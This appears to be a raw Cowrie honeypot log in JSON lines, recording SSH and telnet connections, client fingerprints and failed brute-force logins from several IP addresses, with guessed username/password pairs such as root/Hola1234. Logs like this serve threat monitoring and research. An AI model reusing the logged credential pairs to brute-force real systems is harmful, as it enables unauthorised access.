{"eventid":"cowrie.login.failed","username":"root","password":"1234567qwertyu","message":"login attempt [root/1234567qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:58.097853Z","src_ip":"103.77.242.62","session":"a83e1b84095c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:59.343635Z","src_ip":"103.77.242.62","session":"a83e1b84095c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":58572,"dst_ip":"10.17.0.5","dst_port":22,"session":"36c7a59bb7a9","protocol":"ssh","message":"New connection: 192.169.243.246:58572 (10.17.0.5:22) [session: 36c7a59bb7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:01.058913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:01.063846Z","src_ip":"192.169.243.246","session":"36c7a59bb7a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:01.140280Z","src_ip":"192.169.243.246","session":"36c7a59bb7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bryan","password":"bryan","message":"login attempt [bryan/bryan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:01.459689Z","src_ip":"192.169.243.246","session":"36c7a59bb7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:02.536199Z","src_ip":"192.169.243.246","session":"36c7a59bb7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.00755977630615,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:03.302658Z","src_ip":"152.42.224.71","session":"0503b06445ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":58834,"dst_ip":"159.203.135.109","dst_port":23,"session":"a804117f9ccb","protocol":"telnet","message":"New connection: 209.127.178.212:58834 (159.203.135.109:23) [session: a804117f9ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:05.208726Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":40478,"dst_ip":"159.203.135.109","dst_port":22,"session":"418ee680cc3b","protocol":"ssh","message":"New connection: 102.210.148.92:40478 (159.203.135.109:22) [session: 418ee680cc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:06.999904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:07.004982Z","src_ip":"102.210.148.92","session":"418ee680cc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:07.252578Z","src_ip":"102.210.148.92","session":"418ee680cc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:08.278404Z","src_ip":"102.210.148.92","session":"418ee680cc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:09.530282Z","src_ip":"102.210.148.92","session":"418ee680cc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.24518179893494,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:10.195076Z","src_ip":"152.42.224.71","session":"e80b79b140d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":59134,"dst_ip":"159.203.135.109","dst_port":23,"session":"6759e0b9c6c3","protocol":"telnet","message":"New connection: 209.127.178.212:59134 (159.203.135.109:23) [session: 6759e0b9c6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:11.671336Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":58910,"dst_ip":"159.203.135.109","dst_port":23,"session":"2861b9e70c6c","protocol":"telnet","message":"New connection: 209.127.178.212:58910 (159.203.135.109:23) [session: 2861b9e70c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:13.117880Z"}
{"eventid":"cowrie.session.closed","duration":0.449432373046875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:13.567191Z","src_ip":"209.127.178.212","session":"2861b9e70c6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53142,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c1f0f252540","protocol":"telnet","message":"New connection: 152.42.224.71:53142 (10.17.0.5:23) [session: 8c1f0f252540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:17.162458Z"}
{"eventid":"cowrie.session.closed","duration":31.364928007125854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:17.605855Z","src_ip":"209.127.178.212","session":"d40246da3c5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.198341846466064,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:18.067243Z","src_ip":"152.42.224.71","session":"9baacd61478f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.786178588867188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:18.087258Z","src_ip":"209.127.178.212","session":"cce24d000f1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44336,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ff5b955154a","protocol":"telnet","message":"New connection: 152.42.224.71:44336 (10.17.0.5:23) [session: 4ff5b955154a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:27.391927Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":57388,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e10b2caa095","protocol":"ssh","message":"New connection: 43.133.62.188:57388 (159.203.135.109:22) [session: 8e10b2caa095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:27.737051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:27.740907Z","src_ip":"43.133.62.188","session":"8e10b2caa095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:27.989917Z","src_ip":"43.133.62.188","session":"8e10b2caa095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhangbin","password":"zhangbin","message":"login attempt [zhangbin/zhangbin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:29.005672Z","src_ip":"43.133.62.188","session":"8e10b2caa095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.57952570915222,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:29.106193Z","src_ip":"152.42.224.71","session":"b0adef881516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:30.258104Z","src_ip":"43.133.62.188","session":"8e10b2caa095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":45120,"dst_ip":"159.203.135.109","dst_port":22,"session":"31814bab34a2","protocol":"ssh","message":"New connection: 43.156.28.136:45120 (159.203.135.109:22) [session: 31814bab34a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:30.943205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:30.948861Z","src_ip":"43.156.28.136","session":"31814bab34a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:31.194729Z","src_ip":"43.156.28.136","session":"31814bab34a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hola1234","message":"login attempt [root/Hola1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:32.208041Z","src_ip":"43.156.28.136","session":"31814bab34a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:33.457068Z","src_ip":"43.156.28.136","session":"31814bab34a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":59728,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b72f98a2a44","protocol":"telnet","message":"New connection: 209.127.178.212:59728 (159.203.135.109:23) [session: 2b72f98a2a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:35.323682Z"}
{"eventid":"cowrie.session.closed","duration":0.21532559394836426,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:35.538862Z","src_ip":"209.127.178.212","session":"2b72f98a2a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.873029708862305,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:38.081625Z","src_ip":"209.127.178.212","session":"a804117f9ccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60012,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b113a91cb43","protocol":"telnet","message":"New connection: 152.42.224.71:60012 (10.17.0.5:23) [session: 7b113a91cb43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:39.858024Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":37228,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce18ccffa78e","protocol":"ssh","message":"New connection: 103.188.177.46:37228 (159.203.135.109:22) [session: ce18ccffa78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:41.730181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:41.735057Z","src_ip":"103.188.177.46","session":"ce18ccffa78e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:41.980769Z","src_ip":"103.188.177.46","session":"ce18ccffa78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xh","password":"123","message":"login attempt [xh/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:42.996842Z","src_ip":"103.188.177.46","session":"ce18ccffa78e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:44.248450Z","src_ip":"103.188.177.46","session":"ce18ccffa78e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.96641778945923,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:44.637613Z","src_ip":"209.127.178.212","session":"6759e0b9c6c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.199.83","src_port":3946,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d8d261d2af","protocol":"ssh","message":"New connection: 62.210.199.83:3946 (10.17.0.5:22) [session: 26d8d261d2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:48.752102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:48.761100Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:48.842308Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:b4:a8:7e:83:26:a5:4e:e1:60:7b:11:5e:61:bd:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc4CkIhW1nXAEcxDgMv+fWBf/JYGfubO/DsfbWeIrzHTs5wNIKJE9/zsTLRCZcr/wTy7qIL4pKRRC1s5jOv8SgLYupZcw8/YXlrA3BS0SargydN1/xnaS8aPAMfrIRU7bMOmnc7um8mzuHWKeQ+xRDBHP0QIeFAFCRGKNWkD01rcCtv6b74Hl7jUV70BZenp8IxRkBNZxuBbFe9c/0wAfCytmZE7z+LV3At6+BIA1bozvmkgoXIYJVJjZPriSmCEuSGby3y4o90fBovw2RKCdeiOpyM477RKWO9pTuANnHRBLbTIXea9BP1HQMh95V7upl/Fg4NRoFfCq57TjLXjVf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:b4:a8:7e:83:26:a5:4e:e1:60:7b:11:5e:61:bd:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.225235Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:b4:a8:7e:83:26:a5:4e:e1:60:7b:11:5e:61:bd:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc4CkIhW1nXAEcxDgMv+fWBf/JYGfubO/DsfbWeIrzHTs5wNIKJE9/zsTLRCZcr/wTy7qIL4pKRRC1s5jOv8SgLYupZcw8/YXlrA3BS0SargydN1/xnaS8aPAMfrIRU7bMOmnc7um8mzuHWKeQ+xRDBHP0QIeFAFCRGKNWkD01rcCtv6b74Hl7jUV70BZenp8IxRkBNZxuBbFe9c/0wAfCytmZE7z+LV3At6+BIA1bozvmkgoXIYJVJjZPriSmCEuSGby3y4o90fBovw2RKCdeiOpyM477RKWO9pTuANnHRBLbTIXea9BP1HQMh95V7upl/Fg4NRoFfCq57TjLXjVf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.228929Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
